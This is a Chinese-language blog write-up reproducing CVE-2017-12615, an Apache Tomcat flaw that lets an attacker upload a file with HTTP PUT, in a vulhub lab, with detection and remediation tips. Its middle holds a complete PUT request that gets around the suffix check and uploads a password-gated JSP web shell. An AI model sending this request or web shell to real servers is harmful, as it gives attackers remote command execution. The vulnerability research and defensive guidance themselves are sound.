CVE-2017-12615 Apache Tomcat PUT文件上传漏洞复现

CVE-2017-12615 Apache Tomcat PUT文件上传漏洞复现

漏洞简述

Apache Tomcat是美国阿帕奇(Apache)软件基金会下属的Jakarta项目的一款轻量级Web应用服务器,它主要用于开发和调试JSP程序,适用于中小型系统。
Apache Tomcat 7.0.0到7.0.79版本中存在远程代码执行漏洞,将 readonly 参数设置为 false 时,且启用了 HTTP PUT 请求方法时,攻击者可通过精心构造的攻击请求向服务器上传包含任意代码的JSP文件。

漏洞影响版本

7.0.0 <= tomcat <=7.0.79

漏洞exp

https://github.com/breaktoprotect/CVE-2017-12615

漏洞环境搭建

使用用vulhub进行复现。

默认 readonly 为 true,当 readonly 设置为 false 时,可以通过 PUT / DELETE 进行文件操控。  

漏洞复现

虽然tomcat对文件后缀有检测,不能直接上传jsp。但我们使用一些文件系统的特性(如Linux下可用/)来绕过了限制。

PUT /cmd.jsp/ HTTP/1.1
Host: vul.zgao.top:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 288

<% if("zgao".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>

上传一句话jsp成功。

溯源排查

配置文件:/usr/local/tomcat/conf/web.xml

日志目录:/usr/local/tomcat/logs

排查关键词:PUT

修复方式

将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true。

赞赏

微信赞赏支付宝赞赏

Zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。

发表评论